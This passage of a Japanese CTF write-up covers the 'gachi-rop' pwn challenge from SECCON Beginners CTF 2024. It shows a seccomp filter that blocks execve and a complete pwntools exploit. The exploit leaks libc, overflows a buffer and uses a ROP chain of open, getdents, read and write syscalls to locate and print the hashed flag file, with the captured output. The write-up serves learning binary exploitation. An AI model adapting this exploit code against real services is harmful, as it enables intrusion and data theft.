 0004: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0007
 0005: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00050000  return ERRNO(0)
```

`execve` と `execveat` が禁止。その他のアーキテクチャとか、大きなシステムコール番号の制約は、これが無いとx86を使って回避ができるらしい。

要は、シェルの起動が禁止だから、自前でファイルを読み込んだりしろと。この問題、フラグのファイル名にハッシュ値が付いているから、ファイル名の特定からしないといけないんだよな……。

[rp++](https://github.com/0vercl0k/rp) でROPガジェットを探して頑張った。pwntoolsのROPモジュールを使えば良かったかもしれない。ROPで文字列を作るのは無理（もしくはとても難しい）ので、 `gets` などを呼び出して別途与える。

```attack.py
from pwn import *

context.arch = "amd64"
#context.log_level = "debug"

s = remote("gachi-rop.beginners.seccon.games", 4567)

s.recvuntil(b"system@0x")
system = int(s.recv(12).decode(), 16)
libc = system-0x50d70
print(f"system: {libc:x}")

s.sendlineafter(b'Name: ',
    b"x"*0x18 +

    pack(libc+0x0002a3e5) + # pop rdi
    pack(0x404000) +        # file_name
    pack(0x401060) +        # gets

    pack(libc+0x00045f97) + # pop rax
    pack(2) +               # open
    pack(libc+0x0002a3e5) + # pop rdi
    pack(0x404000) +        # file_name
    pack(libc+0x0002be51) + # pop rsi
    pack(0o200000) +        # O_DIRECTORY
    pack(libc+0x0011f322) + # pop rdx ; pop r12
    pack(0) +
    pack(0) +
    pack(libc+0x00091335) + # syscall

    pack(libc+0x00045f97) + # pop rax
    pack(78) +              # getdents
    pack(libc+0x0002a3e5) + # pop rdi
    pack(3) +               # fd
    pack(libc+0x0002be51) + # pop rsi
    pack(0x404000) +        # buf
    pack(libc+0x0011f322) + # pop rdx; pop r12
    pack(1024) +
    pack(0) +
    pack(libc+0x00091335) + # syscall

    pack(libc+0x00045f97) + # pop rax
    pack(1) +               # write
    pack(libc+0x0002a3e5) + # pop rdi
    pack(1) +               # fd
    pack(libc+0x0002be51) + # pop rsi
    pack(0x404000) +        # buf
    pack(libc+0x0011f322) + # pop rdx; pop r12
    pack(0x100) +
    pack(0) +
    pack(libc+0x00091335) + # syscall

    pack(0)
)

s.sendlineafter(b"!!\n", b"ctf4b")

print(s.recvall())

s = remote("gachi-rop.beginners.seccon.games", 4567)

s.recvuntil(b"system@0x")
system = int(s.recv(12).decode(), 16)
libc = system-0x50d70
print(f"system: {libc:x}")

s.sendlineafter(b'Name: ',
    b"x"*0x18 +

    pack(libc+0x0002a3e5) + # pop rdi
    pack(0x404000) +        # file_name
    pack(0x401060) +        # gets

    pack(libc+0x00045f97) + # pop rax
    pack(2) +               # open
    pack(libc+0x0002a3e5) + # pop rdi
    pack(0x404000) +        # file_name
    pack(libc+0x0002be51) + # pop rsi
    pack(0) +
    pack(libc+0x0011f322) + # pop rdx ; pop r12
    pack(0) +
    pack(0) +
    pack(libc+0x00091335) + # syscall

    pack(libc+0x00045f97) + # pop rax
    pack(0) +               # read
    pack(libc+0x0002a3e5) + # pop rdi
    pack(3) +               # fd
    pack(libc+0x0002be51) + # pop rsi
    pack(0x404000) +        # buf
    pack(libc+0x0011f322) + # pop rdx; pop r12
    pack(0x100) +
    pack(0) +
    pack(libc+0x00091335) + # syscall

    pack(libc+0x00045f97) + # pop rax
    pack(1) +               # write
    pack(libc+0x0002a3e5) + # pop rdi
    pack(1) +               # fd
    pack(libc+0x0002be51) + # pop rsi
    pack(0x404000) +        # buf
    pack(libc+0x0011f322) + # pop rdx; pop r12
    pack(0x100) +
    pack(0) +
    pack(libc+0x00091335) + # syscall

    pack(0)
)

s.sendlineafter(b"!!\n", b"ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt")

print(s.recvall())
```

```shell-session
$ python3 attack.py
[+] Opening connection to gachi-rop.beginners.seccon.games on port 4567: Done
system: 7ff79c43c000
[+] Receiving all data: Done (256B)
[*] Closed connection to gachi-rop.beginners.seccon.games port 4567
b'\xe3 \x10\x00\x00\x00\x00\x003s{U3\xceu)@\x00flag-40ff81b29993c8fc02dbf404eddaf143.txt\x00\xf7\x7f\x00\x08\xe2 \x10\x00\x00\x00\x00\x00.\x03rr\xd91O{\x18\x00.\x00\x00\x00\x00\x04+\x12\x12\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x7f\x18\x00..\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x05>\x00\x00\xc0 \x00\x00\x00\x00\x00\x00\x005\x00\x03\x00\x00\x00\x00@\x15\x00\x02\x00;\x00\x00\x00\x15\x00\x01\x00B\x01\x00\x00\x06\x00\x00\x00\x00\x00\xff\x7f\x06\x00\x00\x00\x00\x00\x05\x00\x80we\x9c\xf7\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0je\x9c\xf7\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[+] Opening connection to gachi-rop.beginners.seccon.games on port 4567: Done
system: 7f92caf46000
[+] Receiving all data: Done (256B)
[*] Closed connection to gachi-rop.beginners.seccon.games port 4567
b'ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}af143.txt\x00 e\xfc\xca\x92\x7f\x00\x00\xf0u\xfc\xca\x92\x7f\x00\x00\x86\x10@\x00\x00\x00\x00\x00\x96\x10@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x05>\x00\x00\xc0 \x00\x00\x00\x00\x00\x00\x005\x00\x03\x00\x00\x00\x00@\x15\x00\x02\x00;\x00\x00\x00\x15\x00\x01\x00B\x01\x00\x00\x06\x00\x00\x00\x00\x00\xff\x7f\x06\x00\x00\x00\x00\x00\x05\x00\x80\x17\x16\xcb\x92\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\n\x16\xcb\x92\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```

`ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}`

## welcome

### Welcome

`ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}`